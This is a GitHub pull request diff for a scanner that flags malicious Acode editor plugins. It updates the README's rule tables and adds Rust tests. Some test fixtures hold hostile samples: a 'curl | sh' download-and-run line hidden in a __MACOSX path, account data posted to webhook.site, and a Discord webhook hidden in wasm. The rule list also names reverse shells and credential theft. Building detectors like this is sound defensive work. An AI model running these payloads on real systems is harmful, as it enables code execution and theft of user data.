Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 33 additions & 16 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,15 @@ threshold reached, `2` unreadable archive or other error.
| --- | --- | --- |
| `pass` | Nothing above Medium. Safe to publish without a human look. | Normal editor plugins: fs, fetch, commands, storage, settings. |
| `review` | Something powerful enough that a person should look. | Shell/terminal access, all-files permission, Play billing, obfuscation, tampering with other plugins, decoded code execution, scan incomplete. |
| `block` | A Critical finding: no legitimate plugin needs it, or the zip is built to confuse the installer. | Remote code execution, core-module hijack, download-and-run shell commands, plugin-context bridge calls, exfiltration to webhooks, install-path collisions, no `plugin.json`. |
| `block` | A Critical finding: no legitimate plugin needs it, or the zip is built to confuse the installer. | Remote code or shell commands, core-module hijack, download-and-run shell commands, plugin-context bridge calls, planting an acode.app session, rewriting its own entry script, exfiltration to webhooks, install-path collisions, a `main` the loader resolves outside the plugin, no `plugin.json`. |

For **updates**, use `diff`. A terminal plugin always comes out as `review`
on a full scan, but if nothing new appears in the diff, the update is `pass`.
Updates that add a High/Critical capability, a new declared permission, or a
new flagged host are `review` (or `block`).
new flagged host are `review` (or `block`). So are updates that keep a
capability but use it with new arguments: a terminal plugin that starts
running a different shell command, a new native `Service.action`, or a new
remote script URL.

Severity guide:

Expand Down Expand Up @@ -93,35 +96,48 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's
- encrypted entries
- compression methods other than stored/deflate
- native binaries detected by magic bytes
- code under `__MACOSX/`, `.DS_Store` or `Thumbs.db` names, which unzip
tools hide but Acode installs (real metadata is recognised by its header)

Overwritten entries are still analysed.
- **Entry resolution like `installPlugin.js`.** `main` is looked up by exact
key, so `"./dist/main.js"` falls back to `main.js`, just as on device.
- **Entry resolution like `installPlugin.js` and `loadPlugin.js`.** `main` is
looked up by exact key, so `"./dist/main.js"` falls back to `main.js`, just
as on device. The loader then joins the raw `main` onto the plugin folder,
so a `main` that climbs out with `..` runs a file that was never in the zip,
and one with backslashes makes the loader fall back to `main.js`.
- **Alias and constant-string resolution.** These all resolve:
- `const w = window`, `const { exec } = cordova`
- `acode.require("fs")` stored in a variable
- `window["ev" + "al"]`, `atob("ZXZhbA==")`
- `String.fromCharCode(...)`, `[...].join("")`, `"lave".split("").reverse().join("")`
- `(0, fn)(...)`
- `(0, fn)(...)`, `fn.call(t, ...)`, `fn.apply(t, [...])`, `fn.bind(t)(...)`,
`Reflect.apply(fn, t, [...])`
- **One-hop taint.** Values built from `fetch` / `XMLHttpRequest` responses or
decoders are tracked through variables and `.then(...)` chains.
decoders are tracked through variables and `.then(...)` chains, into `eval`,
shell commands, and files written where code is loaded from.
- **WebAssembly is opened up.** Shipped modules (found by header, whatever
their extension) and base64 modules inlined in JS are parsed: imports that
run JavaScript strings are flagged, and URLs in data segments go through the
same endpoint and exfiltration checks as JS.
- **Zip-bomb safe.** Reads are capped by the limits, not by declared sizes.
Hitting a limit marks the scan incomplete, which forces `review`.

## Rules

| Area | Rule IDs (severity) |
| --- | --- |
| Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary` (H), `absolute_path`, `nested_archive` (M) |
| Manifest | `missing`, `invalid_json`, `no_entrypoint` (C), `missing_id/name/version` (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) |
| Shell | `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` (H), `terminal_environment`, `process_control` (M/H) |
| Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) |
| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `acode_api`, `cordova_bridge`, `network_hook`, `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) |
| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script` (M), `string_timer`, `script_element`, `import_expression` (L) |
| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command` (H), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) |
| Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary` (H), `absolute_path`, `nested_archive`, `metadata_path_content` (M) |
| Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version`, `readme_password_form` (readme or changelog renders a password form; DOMPurify keeps forms) (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch`, `readme_form` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) |
| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` (H), `terminal_environment`, `process_control` (M/H), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) |
| Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `account_bridge` (`Authenticator`; C for `saveToken`, else H), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) |
| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) |
| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) |
| Acode API | `webview_remote_page` (M), `webview`, `webview_script`, `intent_module`, `intent_handler`, `require_dynamic` (L), `install_plugin` (M), `editor_hook`, `require_module`, `define_module`, `global_key_listener` (I) |
| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) |
| Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) |
| Obfuscation | `obfuscator_tool`, `packer`, `jsfuck`, `encoded_js_payload` (H), `js.parse_failed`, `js.too_large`, `js.invalid_utf8` (M), `escaped_strings`, `hex_array` (L) |
| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys) and talks to a data-capture endpoint |
| WebAssembly | `remote_module` (H), `eval_import` (H, under dynamic code), `disguised`, `bad_magic`, `parse_failed` (M), `module`, `embedded_module` (L), `instantiate` (I) |
| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint |

Prefixes are omitted in the table; full IDs look like `shell.exec`.

Expand All @@ -131,7 +147,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`.
{
"schema_version": 2,
"scanner_version": "0.2.0",
"rules_version": "2026.10.1", // rescan stored plugins when this changes
"rules_version": "2026.10.3", // rescan stored plugins when this changes
"plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... },
"verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] },
"summary": { "total_findings", "by_severity", "by_category" },
Expand All @@ -151,7 +167,8 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`.

`diff --format json` returns `recommendation`, `reasons`, `new_findings`,
`escalated`, `removed_findings`, `new_endpoints`, `new_required_modules`,
`new_defined_modules`, `new_permissions`, and `files` (added/removed/changed).
`new_defined_modules`, `new_permissions`, `new_arguments` (key and the
arguments it didn't have before), and `files` (added/removed/changed).

## Using it on acode.app

Expand Down
137 changes: 137 additions & 0 deletions src/analysis.rs
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ use crate::{
report::{Capability, Endpoint, Finding, Recommendation, Report},
rules::{self, RuleContext},
severity::{Category, Confidence, Severity},
wasm,
};

/// Files above this are not parsed; real plugin bundles are far smaller.
Expand Down Expand Up @@ -37,6 +38,7 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut

let mut reads_sensitive = Vec::new();
let mut url_sources: Vec<(String, String)> = Vec::new();
let mut embedded_wasm: Vec<(String, Vec<u8>)> = Vec::new();

for file in archive.javascript_files() {
if options.entry_only && entry.as_deref() != Some(file.path.as_str()) {
Expand Down Expand Up @@ -104,6 +106,7 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut
};

let mut ctx = RuleContext::new(&name, &source, plugin_id.as_deref());
ctx.entry = entry.as_deref();
let outcome = js::analyze(&mut ctx);
report.stats.js_files_parsed += 1;
report.stats.js_bytes_parsed += source.len() as u64;
Expand Down Expand Up @@ -133,10 +136,39 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut
reads_sensitive.push(name.clone());
}
url_sources.extend(facts.urls.into_iter().map(|url| (name.clone(), url)));
embedded_wasm.extend(
facts
.embedded_wasm
.into_iter()
.enumerate()
.map(|(index, bytes)| (format!("{name} (embedded wasm #{})", index + 1), bytes)),
);
report.findings.extend(ctx.findings);
report.sources.insert(name, source);
}

if !options.entry_only {
for file in archive.installed_files() {
if file_is_script(file) {
let source = String::from_utf8_lossy(&file.bytes);
let mut ctx = RuleContext::new(&file.path, &source, plugin_id.as_deref());
rules::scan_shell_script(&mut ctx);
url_sources.extend(
std::mem::take(&mut ctx.facts.urls)
.into_iter()
.map(|url| (file.path.clone(), url)),
);
report.findings.extend(ctx.findings);
}
}
for file in archive.wasm_files() {
wasm::analyze(&file.path, &file.bytes, false, report, &mut url_sources);
}
}
for (name, bytes) in &embedded_wasm {
wasm::analyze(name, bytes, true, report, &mut url_sources);
}

analyse_endpoints(report, &url_sources);
correlate(report, &reads_sensitive);

Expand All @@ -147,6 +179,13 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut
report.refresh_summary();
}

fn file_is_script(file: &archive::ArchiveFile) -> bool {
matches!(
archive::file_kind(&file.path, &file.bytes),
"text" | "other"
) && rules::is_shell_script(&file.path, &file.bytes)
}

fn analyse_endpoints(report: &mut Report, urls: &[(String, String)]) {
let mut endpoints: BTreeMap<String, Endpoint> = BTreeMap::new();
for (file, url) in urls {
Expand Down Expand Up @@ -503,6 +542,104 @@ mod tests {
assert!(!report.has("dynamic.decoded_exec"));
}

#[test]
fn ordinary_wasm_plugin_passes() {
let module = crate::wasm::tests::module(
&[("env", "memory_grow"), ("wbg", "__wbg_log_77aa01")],
b"tree-sitter grammar tables",
);
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
b"acode.setPluginInit('com.example.p', async (baseUrl) => { await WebAssembly.instantiateStreaming(fetch(baseUrl + 'parser.wasm'), {}) })",
),
("parser.wasm", &module),
]);
assert_eq!(
report.verdict.recommendation,
Recommendation::Pass,
"{:#?}",
report.findings
);
assert!(report.has("wasm.module"));
}

#[test]
fn webhook_hidden_in_wasm_data_is_exfiltration() {
let module = crate::wasm::tests::module(
&[("env", "send")],
b"\0https://discord.com/api/webhooks/1/abc\0",
);
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
b"const fs = acode.require('fs'); acode.setPluginInit('com.example.p', async () => { await fs(DATA_STORAGE).lsDir(); })",
),
("lib.wasm", &module),
]);
assert!(
report.has("correlation.exfiltration"),
"{:#?}",
report.findings
);
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn base64_wasm_in_javascript_is_unpacked() {
use base64::Engine;
let module = crate::wasm::tests::module(&[("env", "emscripten_run_script")], b"");
let inline = base64::engine::general_purpose::STANDARD.encode(module);
let source = format!(
"const bytes = Uint8Array.from(atob('{inline}'), c => c.charCodeAt(0)); WebAssembly.instantiate(bytes, {{}});"
);
let report = scan(&[MANIFEST, ICON, README, ("main.js", source.as_bytes())]);
assert!(report.has("wasm.embedded_module"));
assert!(report.has("wasm.eval_import"), "{:#?}", report.findings);
assert_eq!(report.verdict.recommendation, Recommendation::Review);
}

#[test]
fn account_read_sent_to_webhook_is_blocked() {
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
br#"acode.setPluginInit('com.example.p', async () => {
const me = await (await fetch('https://acode.app/api/login')).json();
fetch('https://webhook.site/x', { method: 'POST', body: JSON.stringify(me) });
});"#,
),
]);
assert!(report.has("network.acode_account_read"));
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn payload_in_macos_metadata_folder_is_scanned() {
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
b"const s = document.createElement('script'); s.src = '__MACOSX/x.js'; document.head.append(s)",
),
("__MACOSX/x.js", b"Executor.execute('curl https://e.vil/i | sh')"),
]);
assert!(report.has("archive.metadata_path_content"));
assert!(report.has("shell.dangerous_command"));
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn unreadable_zip_is_an_error() {
let dir = tempfile::tempdir().unwrap();
Expand Down
Loading
Loading